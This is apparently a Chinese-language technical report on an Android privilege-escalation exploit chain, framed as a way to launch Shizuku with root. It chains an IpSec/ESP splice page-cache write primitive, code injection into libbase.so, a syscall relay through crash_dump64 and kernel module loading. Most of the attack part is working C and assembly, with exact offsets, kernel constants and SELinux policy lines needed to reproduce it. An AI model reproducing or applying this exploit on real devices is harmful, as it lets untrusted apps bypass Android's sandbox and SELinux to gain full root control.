6
7
<!-- Android 11+ package visibility: this app must see the installed Shizuku
package to resolve its base.apk / lib dir for the root server launch.
Without it getApplicationInfo() throws NameNotFoundException and the
one-shot aborts (rc=-2). -->
<queries>
<package android:name="moe.shizuku.privileged.api" />
</queries>

要点:

  1. IpSecManager 建变换,把 encapPort / senderPort / spi / aesKey(64 hex) 传给 native;
  2. exec 打包在 lib/arm64-v8a/libdfi.so(本质是 PIE 可执行文件,extractNativeLibs=true 后可直接执行);

native 引擎 libdfi.so(完整源码见 src/dfi_engine.c)

引擎单文件 1269 行,是整条链最厚的部分。按执行顺序摘录五个决定性函数。

(a) IV 计算——整个原语的全部数学:

1
2
3
4
5
6
static void compute_iv(const uint8_t old_content[16], const uint8_t desired[16], uint8_t iv[16]) {
uint8_t dec[16];
aes256_ecb_decrypt(g_aes_key, old_content, dec);
for (int i = 0; i < 16; i++)
iv[i] = dec[i] ^ desired[i];
}

(b) 单块写入:vmsplice 24B ESP 头 + splice 16B 目标页 → UDP socket(40 字节一次收发):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static int do_one_write_cbc(int pipe_rd, int pipe_wr, int sk_send, int file_fd, off_t offset,
const uint8_t iv[16], int use_helper) {
uint8_t hdr[24];
*(uint32_t *)(hdr + 0) = htonl(g_spi);
*(uint32_t *)(hdr + 4) = htonl(g_seq++);
memcpy(hdr + 8, iv, 16);

struct iovec iov = {.iov_base = hdr, .iov_len = 24};
if (vmsplice(pipe_wr, &iov, 1, SPLICE_F_GIFT) != 24) {
printf("vmsplice hdr failed: %s\n", strerror(errno)); return -1;
}

if (use_helper) {
int st = spawn_crash_dump(offset, pipe_wr, 1, NULL);
if (st < 0) return -1;
if (!(WIFEXITED(st) && WEXITSTATUS(st) == 0)) {
printf("splice helper failed status=0x%x\n", st);
return -1;
}
} else {
off_t off = offset;
if (splice(file_fd, &off, pipe_wr, NULL, 16, SPLICE_F_MOVE) != 16) {
printf("splice file failed: %s\n", strerror(errno)); return -1;
}
}

ssize_t s = splice(pipe_rd, NULL, sk_send, NULL, 40, 0);
if (s != 40) { printf("splice pipe->udp: %zd expected 40\n", s); return -1; }
return 0;
}

© payload模板 patch:从 live 文件读 prologue/epilogue 逐字校验、自适应找 NOP run、现场算 B 位移——不硬编码任何偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
static int patch_payload_template(int file_fd, size_t func_off, uint8_t *payload, size_t len) {
uint8_t buf[28];
if (pread(file_fd, buf, 28, (off_t)func_off) != 28) {
printf("libbase: template pread header failed\n");
return -1;
}
if (rd32le(buf) != 0xD503233Fu) {
printf("libbase: template: func header 0x%08x is not PACIASP\n", rd32le(buf));
return -1;
}
int prologue_ok = 1;
for (int i = 0; i < 6; i++) {
if (rd32le(buf + 4 + i * 4) != k_d2_prologue[i]) { prologue_ok = 0; break; }
}
if (!prologue_ok) {
/* Already patched by our own payload? Entry words are the payload's
* first three stores (stp x0,x30 / stp x19,x20 / stp x21,x22). The
* real-ROM identity is still enforced below by the untouched epilogue
* + RET check, so accepting our own artifact is safe. */
if (rd32le(buf + 4) == 0xA9BF7BE0u && rd32le(buf + 8) == 0xA9BF53F3u &&
rd32le(buf + 12) == 0xA9BF5BF5u) {
printf("libbase: template: file already carries our init payload "
"(entry stp x0,x30/x19,x20/x21,x22); skipping pristine-prologue check\n");
} else {
printf("libbase: template: prologue mismatch and not our payload "
"(0x%08x/0x%08x/0x%08x) (unknown ROM build)\n",
rd32le(buf + 4), rd32le(buf + 8), rd32le(buf + 12));
return -1;
}
}
if (pread(file_fd, buf, 28, (off_t)(func_off + LIBBASE_EPI_START)) != 28) {
printf("libbase: template pread epilogue failed\n");
return -1;
}
for (int i = 0; i < 6; i++) {
if (rd32le(buf + i * 4) != k_d2_epilogue[i]) {
printf("libbase: template: epilogue[%d]=0x%08x != 0x%08x (unknown ROM build)\n",
i, rd32le(buf + i * 4), k_d2_epilogue[i]);
return -1;
}
}
if (rd32le(buf + 24) != 0xD65F03C0u) {
printf("libbase: template: no RET after epilogue (0x%08x)\n", rd32le(buf + 24));
return -1;
}
size_t nop_off = 0, nop_words = 0;
if (find_nop_run(payload, len, &nop_off, &nop_words) != 0) {
printf("libbase: template: no NOP run in payload\n");
return -1;
}
if (nop_words < 7) {
printf("libbase: template: NOP run %zu words < 7 needed\n", nop_words);
return -1;
}
if (LIBBASE_BTI_SKIP + len > LIBBASE_EPI_START) {
printf("libbase: template: payload %zuB would clobber the real epilogue (max %u)\n",
len, LIBBASE_EPI_START - LIBBASE_BTI_SKIP);
return -1;
}
memcpy(payload + nop_off, k_d2_prologue, sizeof(k_d2_prologue));
int32_t disp = (int32_t)LIBBASE_EPI_START - (int32_t)LIBBASE_BTI_SKIP
- (int32_t)(nop_off + 24);
if (disp % 4) {
printf("libbase: template: unaligned B disp %d\n", disp);
return -1;
}
int32_t imm26 = disp / 4;
if (imm26 < -(1 << 25) || imm26 >= (1 << 25)) {
printf("libbase: template: B disp %d out of range\n", disp);
return -1;
}
uint32_t b = 0x14000000u | ((uint32_t)imm26 & 0x03FFFFFFu);
wr32le(payload + nop_off + 24, b);
printf("libbase: template patched (nop@0x%zx x%zu: 6 prologue + B 0x%08x disp=%d, "
"epilogue_start=%u)\n", nop_off, nop_words, b, disp, LIBBASE_EPI_START);
return 0;
}

(d) relay 客户端:4096 B 定长页,flags 位图把页内偏移重定位成绝对指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static long relay_call(uint64_t nr, uint64_t a0, uint64_t a1, uint64_t a2, uint64_t a3,
uint64_t a4, uint64_t a5, uint32_t flags,
const void *data, uint32_t len, int *ioerr) {
if (ioerr) *ioerr = 0;
if (g_relay_fd < 0) { if (ioerr) *ioerr = RELAY_IO_CODE; return -1; }
if (len > RELAY_PAGE - RELAY_DATA) len = RELAY_PAGE - RELAY_DATA;

memset(g_req, 0, RELAY_PAGE);
put64(g_req + 0, nr);
put64(g_req + 8, a0);
put64(g_req + 16, a1);
put64(g_req + 24, a2);
put64(g_req + 32, a3);
put64(g_req + 40, a4);
put64(g_req + 48, a5);
put32(g_req + 56, flags);
if (data && len) memcpy(g_req + RELAY_DATA, data, len);

size_t off = 0;
while (off < RELAY_PAGE) {
ssize_t n = TEMP_FAILURE_RETRY(write(g_relay_fd, g_req + off, RELAY_PAGE - off));
if (n <= 0) { if (ioerr) *ioerr = RELAY_EOF_CODE; return -1; }
off += (size_t)n;
}
off = 0;
while (off < RELAY_PAGE) {
ssize_t n = TEMP_FAILURE_RETRY(read(g_relay_fd, g_rsp + off, RELAY_PAGE - off));
if (n <= 0) { if (ioerr) *ioerr = RELAY_EOF_CODE; return -1; }
off += (size_t)n;
}
if (g_rsp[60] != 0xd1 && ioerr) *ioerr = RELAY_BAD_CODE;
return (long)get64(g_rsp);
}

(e) stage2 execve:mmap 固定地址 → 经 relay pread64 注入 blob → execve(argv/envp 必须是绝对指针,否则 EFAULT,§6 #8):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
static int stage2_launch(const char *argsbin_path, const char *apk, const char *libdir,
int confirm_timeout) {
(void)confirm_timeout;
static const uint64_t cands[] = {0x6000000000ULL, 0x5000000000ULL,
0x4000000000ULL, 0x3000000000ULL};
uint64_t base = 0;
for (size_t i = 0; i < sizeof(cands) / sizeof(cands[0]); i++) {
long r = relay_call(222 /*mmap*/, cands[i], 0x20000, 7 /*RWX*/,
0x100022 /*MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED_NOREPLACE*/,
(uint64_t)(int64_t)-1, 0, 0, NULL, 0, NULL);
printf("mmap 0x%llx -> %ld\n", (unsigned long long)cands[i], r);
if (r == (long)cands[i]) { base = cands[i]; break; }
if (r != -EEXIST && r != -EINVAL && r != -ENOMEM) break;
}
if (!base) { printf("launch: no fixed mmap slot\n"); return -1; }

/* Reuse Shizuku's own startup path: exec the same native starter that
* adb-mode uses (lib/arm64/libshizuku.so). As uid0 it performs
* switch_cgroup/switch_mnt_ns/selinux_check_access itself, kills stale
* shizuku_server processes, and forks app_process
* --nice-name=shizuku_server with CLASSPATH=<apk>. */
struct blob b;
memset(&b, 0, sizeof(b));

char libpath[512];
snprintf(libpath, sizeof(libpath), "%s/libshizuku.so", libdir);
uint64_t path_str = blob_add_str(&b, libpath);

char arg_apk[1024];
snprintf(arg_apk, sizeof(arg_apk), "--apk=%s", apk);
uint64_t s_arg_apk = blob_add_str(&b, arg_apk);

const char *bc = getenv("BOOTCLASSPATH");
if (!bc || !*bc) bc = kBootClasspathDefault;
const char *dbc = getenv("DEX2OATBOOTCLASSPATH");
if (!dbc || !*dbc) dbc = kDex2oatBootClasspathDefault;
const char *penv = getenv("PATH");
if (!penv || !*penv) penv = kPathDefault;
printf("launch: env source: BOOTCLASSPATH=%s DEX2OATBOOTCLASSPATH=%s\n",
getenv("BOOTCLASSPATH") && *getenv("BOOTCLASSPATH") ? "caller" : "builtin",
getenv("DEX2OATBOOTCLASSPATH") && *getenv("DEX2OATBOOTCLASSPATH") ? "caller" : "builtin");

char e_class[1024], e_bc[4096], e_dbc[2048], e_path[1024];
snprintf(e_class, sizeof(e_class), "CLASSPATH=%s", apk);
snprintf(e_bc, sizeof(e_bc), "BOOTCLASSPATH=%s", bc);
snprintf(e_dbc, sizeof(e_dbc), "DEX2OATBOOTCLASSPATH=%s", dbc);
snprintf(e_path, sizeof(e_path), "PATH=%s", penv);

uint64_t e0 = blob_add_str(&b, e_class);
uint64_t e1 = blob_add_str(&b, "ANDROID_ROOT=/system");
uint64_t e2 = blob_add_str(&b, "ANDROID_DATA=/data");
uint64_t e3 = blob_add_str(&b, "ANDROID_ART_ROOT=/apex/com.android.art");
uint64_t e4 = blob_add_str(&b, "ANDROID_I18N_ROOT=/apex/com.android.i18n");
uint64_t e5 = blob_add_str(&b, "ANDROID_TZDATA_ROOT=/apex/com.android.tzdata");
uint64_t e6 = blob_add_str(&b, e_path);
uint64_t e7 = blob_add_str(&b, e_bc);
uint64_t e8 = blob_add_str(&b, e_dbc);

blob_al8(&b);
uint64_t argv_off = b.len;
blob_add_ptr(&b, base + path_str);
blob_add_ptr(&b, base + s_arg_apk);
blob_add_ptr(&b, 0);
uint64_t envp_off = b.len;
blob_add_ptr(&b, base + e0);
blob_add_ptr(&b, base + e1);
blob_add_ptr(&b, base + e2);
blob_add_ptr(&b, base + e3);
blob_add_ptr(&b, base + e4);
blob_add_ptr(&b, base + e5);
blob_add_ptr(&b, base + e6);
blob_add_ptr(&b, base + e7);
blob_add_ptr(&b, base + e8);
blob_add_ptr(&b, 0);

FILE *f = fopen(argsbin_path, "wb");
if (!f) { printf("launch: open %s failed: %s\n", argsbin_path, strerror(errno)); return -1; }
if (fwrite(b.buf, 1, b.len, f) != b.len) { fclose(f); return -1; }
fclose(f);
printf("launch: args.bin %zu bytes -> %s (base=0x%llx, lib=%s)\n", b.len, argsbin_path,
(unsigned long long)base, libpath);

int fd = relay_openat(argsbin_path, O_RDONLY, 0);
if (fd < 0) { printf("launch: relay open args.bin -> %d\n", fd); return -1; }
long rr = relay_call(67 /*pread64*/, (uint64_t)(int64_t)fd, base, (uint64_t)b.len, 0,
0, 0, 0, NULL, 0, NULL);
relay_close_fd(fd);
if (rr != (long)b.len) { printf("launch: pread64 -> %ld (want %zu)\n", rr, b.len); return -1; }
printf("launch: blob staged in relay at 0x%llx\n", (unsigned long long)base);

int nfd = getenv("DFI726_KEEP_STDIO") ? -1 : relay_openat("/dev/null", O_RDWR, 0);
if (nfd >= 0) {
for (int i = 0; i < 3; i++)
relay_call(24 /*dup3*/, (uint64_t)(int64_t)nfd, (uint64_t)i, 0, 0, 0, 0,
0, NULL, 0, NULL);
relay_close_fd(nfd);
}
relay_call(49 /*chdir*/, RELAY_DATA, 0, 0, 0, 0, 0, 1u << 0, "/", 2, NULL);

printf("launch: execve %s (Shizuku native starter, uid0)\n", libpath);
int ioerr = 0;
long r = relay_call(221 /*execve*/, base + path_str, base + argv_off, base + envp_off,
0, 0, 0, 0, NULL, 0, &ioerr);
if (ioerr == RELAY_EOF_CODE) {
printf("launch: relay connection closed -> starter image replaced (execve OK)\n");
printf("launch: Shizuku starter now forks app_process --nice-name=shizuku_server\n");
relay_close_conn();
return 0;
}
printf("launch: execve returned %ld ioerr=%d\n", r, ioerr);
return -1;
}

内嵌 helper 字节的组装文件 src/blob.S(构建时 src/pcache_helper 必须已存在):

1
2
3
4
5
6
    .section .rodata
.global pcache_helper_start
.global pcache_helper_end
pcache_helper_start:
.incbin "pcache_helper"
pcache_helper_end:

crash_dump64 桥 pcache_helper(完整源码见 src/pcache_helper.c)

89 行 freestanding 静态 ELF(1072 B),只用 raw syscall、无 libc。核心是两种模式——「splice 16B 进管道」与「pread 16B 回读」:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void start_c(void *argblock) {
int argc = (int)*(long *)argblock;
char **argv = (char **)argblock + 1;

if (argc < 3 || argc > 4)
mysyscall1(1, __NR_exit_group);

off64_t off = (off64_t)parse_int(argv[1]);
char *target = argv[2];
char *mode = (argc >= 4) ? argv[3] : (char *)0;

int file_fd = (int)mysyscall3(
(unsigned long)AT_FDCWD,
(unsigned long)target,
(unsigned long)O_RDONLY,
__NR_openat);
if (file_fd < 0)
mysyscall1(1, __NR_exit_group);

if (mode && streq(mode, "r")) {
/* Read mode: lseek to offset, read 16 bytes, write to OUT_FD */
/* Exit codes: 0=ok, 1=read<16, 2=write<16, 3=OUT_FD not a pipe (fd sanitized) */
mysyscall3((unsigned long)file_fd, (unsigned long)off, SEEK_SET, __NR_lseek);
unsigned char buf[16];
long n = mysyscall3((unsigned long)file_fd, (unsigned long)buf, 16, __NR_read);
if (n != 16)
mysyscall1(1, __NR_exit_group);
if (mysyscall3(OUT_FD, 0, SEEK_CUR, __NR_lseek) != (long)-29L) /* ESPIPE: fd is a pipe */
mysyscall1(3, __NR_exit_group);
long w = mysyscall3(OUT_FD, (unsigned long)buf, 16, __NR_write);
mysyscall1((unsigned long)(w == 16 ? 0 : 2), __NR_exit_group);
}

/* Splice mode: splice 16-byte page into PIPE_FD */
long ret = mysyscall6(
(unsigned long)file_fd,
(unsigned long)&off,
PIPE_FD,
(unsigned long)NULL,
16,
SPLICE_F_MOVE,
__NR_splice);
mysyscall1((unsigned long)(ret == 16 ? 0 : 1), __NR_exit_group);
}

最后是裸入口(内核直接以 _start(sp) 进入,不经 libc):

1
2
3
__attribute__((naked)) void _start() {
asm(".extern start_c\nmov x0, sp\nb start_c\n");
}

AES-256 实现(完整源码见 src/aes256.h)

131 行 FIPS-197 最小实现,只做单块 ECB 解密、不依赖任何加密库。对外接口就这一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* AES-256 ECB single-block decrypt: ct[16] → pt[16] */
static void aes256_ecb_decrypt(const uint8_t key[32], const uint8_t ct[16], uint8_t pt[16]) {
uint32_t rk[60];
_aes256_expand(key, rk);
uint8_t s[16];
for (int i = 0; i < 16; i++) s[i] = ct[i];

_add_rk(s, &rk[56]); /* AddRoundKey round 14 */

for (int r = 13; r >= 1; r--) {
_inv_shift_rows(s);
_inv_sub_bytes(s);
_add_rk(s, &rk[4*r]);
_inv_mix_cols(s);
}

_inv_shift_rows(s);
_inv_sub_bytes(s);
_add_rk(s, &rk[0]); /* AddRoundKey round 0 */

for (int i = 0; i < 16; i++) pt[i] = s[i];
}

Shizuku starter 关键片段 + 域转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// starter.cpp(摘要,非逐字)
int main(int argc, char **argv) {
if (getuid() != 0 && getuid() != 2000) return 4; // 必须 root/adb
se::init(); // dlopen libselinux.so
if (getuid() == 0) switch_cgroup();
if (android_get_device_api_level() >= 29) switch_mnt_ns(1); // setns("/proc/1/ns/mnt")
if (getuid() == 0 && !selinux_check_access("u:r:untrusted_app:s0", "binder", "call"))
return 10; // ★ enforcing 下这里必失败
kill_all("shizuku_server");
std::string apk = parse_apk_arg(argc, argv); // --apk= 或 `pm path`
start_server(apk); // fork → app_process
}

void start_server(const std::string &apk) {
pid_t pid = fork();
if (pid == 0) {
setsid(); chdir("/");
// stdio → /dev/null
setenv("CLASSPATH", apk.c_str(), 1);
char *const argv[] = {
"/system/bin/app_process",
("-Djava.class.path=" + apk).c_str(),
("-Dshizuku.library.path=" + apk_dir + "/lib/arm64").c_str(),
"/system/bin",
"--nice-name=shizuku_server",
"rikka.shizuku.server.ShizukuService",
nullptr,
};
execv("/system/bin/app_process", argv);
_exit(1);
}
}

域转换(策略行号见附录 B):exec /system/bin/app_process(zygote_exec 标签)→ u:r:zygote:s0,uid 保持 0。最终 shizuku_server 的身份:uid 0,域 u:r:zygote:s0,CapEff 0x3fffffffff。

安全性论证:零落盘与回滚

写入了什么、写到了哪

动作 目标 介质 是否落盘
libbase payload /system/lib64/libbase.so 页缓存 RAM ❌(erofs 只读、页不置脏)
模块投递 /vendor/lib/modules/5.4-gki/altmode-glink.ko 页缓存 RAM ❌
桥 /apex/com.android.runtime/bin/crash_dump64 页缓存 RAM ❌
内核模块 内核内存(finit_module 后驻留) RAM ❌
kprobe 状态 内核内存 RAM ❌
App 私有临时文件 /data/user/0/io.dirtyfrag.shizuku/files/*(staged ko/payload/args.bin) userdata ✅(应用私有目录,非校验分区)
Shizuku 配置文件 /data/user_de/0/com.android.shell/shizuku.json userdata ✅(Shizuku 自身正常行为,非受校验分区)

触发条件的边界

  • 利用要求 App 进程(untrusted_app)能创建 IpSecManager 变换——这是 Android 公开 API,不需要任何危险权限;
  • 要求目标文件的页在缓存中且可读(我们选的都是系统库/模块,世界可读);
  • 16B 块粒度 + 必须先读旧值,写入是「覆盖式」而非「追加式」,不会越界写(每步都有边界检查);
  • 所有投递都有 VERIFY 回读,失败即中止,不会把半截数据留给系统。

关键常量与偏移

注入目标(~LogMessage D2)

项目 值
符号 _ZN7android4base10LogMessageD2Ev(D1/D2 同址)
文件偏移 0x146c0(写入起点 0x146c4,跳过 PACIASP)
函数大小 864 B(0x360)
RET / 真实 epilogue 起点 +0x2b4(692) / +0x29c(668)
安全预算 0x298 = 664 B
NOP run(636 B payload) payload内 0x200,7 个 4 B 槽
B 编码 0x14000020(disp = 128)
payload回填的 3 个 restore word 0xa8c15bf5 0xa8c153f3 0xa8c17be0

内核侧常量

项目 值
module_layout CRC 0xdc7fd1bf
struct module 大小 0x3c0,init@0x190,exit@0x378
pt_regs regs[30]@0xf0,pc@0x100
struct kprobe pre_handler 返回 1 跳过原函数

relay 协议(4096 B 定长页)

偏移 字段
0x00 nr(syscall 号,u64)
0x08..0x30 x0..x5(u64 × 6)
0x38 flags(u32,bit0…4=页内偏移需重定位,bit7=FLAG_EXIT)
0x3c status(u32,0xD1 表示已处理)
0x40.. data(4032 B)

响应:retval@0x00,data@0x40。抽象 socket 名 @pcw_relay。

载体与目标

项目 值
载体(示例) /vendor/lib/modules/5.4-gki/altmode-glink.ko,29600 B,u:object_r:vendor_file:s0
注入目标库 /system/lib64/libbase.so,198456 B
桥接可执行文件 /apex/com.android.runtime/bin/crash_dump64,548888 B,标签 crash_dump_exec
模块加载判定 按 SELinux 文件标签(vendor_file 通过),不按路径

外部依赖清单

依赖 用途 获取方式
DirtyFrag(https://github.com/mitschud/DirtyFrag;上游 https://github.com/diabl0w/DFRoot) 页缓存写原语参考实现(exp.c / IpSecManager 用法) git clone https://github.com/mitschud/DirtyFrag,或 Releases 取预编译 APK;报告只引关键片段(§2 / §3.2.3)
DirtyInit(https://github.com/combeng6th/DirtyInit) ~LogMessage 三阶段注入思路 + 576 B relay 参考(§3.2.3 / §3.3.1) git clone https://github.com/combeng6th/DirtyInit
Shizuku(https://github.com/RikkaApps/Shizuku) root server 启动器(§4.7) 装到目标机;源码见上述仓库
Android NDK r27c clang / llvm-objcopy / llvm-strip dl.google.com
Android build-tools 34 + platform-35 android.jar aapt2/d8/zipalign/apksigner dl.google.com
JDK 21 javac(构建 Java UI) Debian 包或 Google 分发
aarch64 binutils(aarch64-linux-gnu-as/ld) 构建 avc_probe.ko Debian binutils-aarch64-linux-gnu

附录 A:引用与致谢

  • DirtyFrag(https://github.com/mitschud/DirtyFrag;上游 https://github.com/diabl0w/DFRoot):ESP 页缓存写原语、crash_dump64 桥、libc++ hook 思路
  • DirtyInit(https://github.com/combeng6th/DirtyInit):IpSecManager 触发方式、~LogMessage 注入、576 B relay payload、4096 B 页协议(其 README 明确致谢 @LSPosed 团队与 @p0lygraphe 的 DirtyFrag 工作)
  • Shizuku(https://github.com/RikkaApps/Shizuku):native starter 启动协议
  • 本项目自研:5.4 ABI 兼容的 avc_probe.ko、自包含 init payload、单 APK 编码器 libdfi.so、Shizuku 启动器复用方案

附录 B:本报告涉及的关键策略行(设备 runtime policy)

1
2
3
4
5
6
7
8
39625  (allow init vendor_file (system (module_load)))
38484 (allow init self (capability (... sys_module sys_admin ...)))
108926 (typetransition init zygote_exec process zygote)
41253 (allow init zygote (process (transition)))
41255 (allow init zygote_exec (file (read getattr map execute open)))
104772 (allow zygote zygote_exec (file (... execute_no_trans entrypoint)))
13719 (allow domain crash_dump_exec (file (read getattr map execute open)))
11372-74 (allow crash_dump vendor_file (file (read open map)))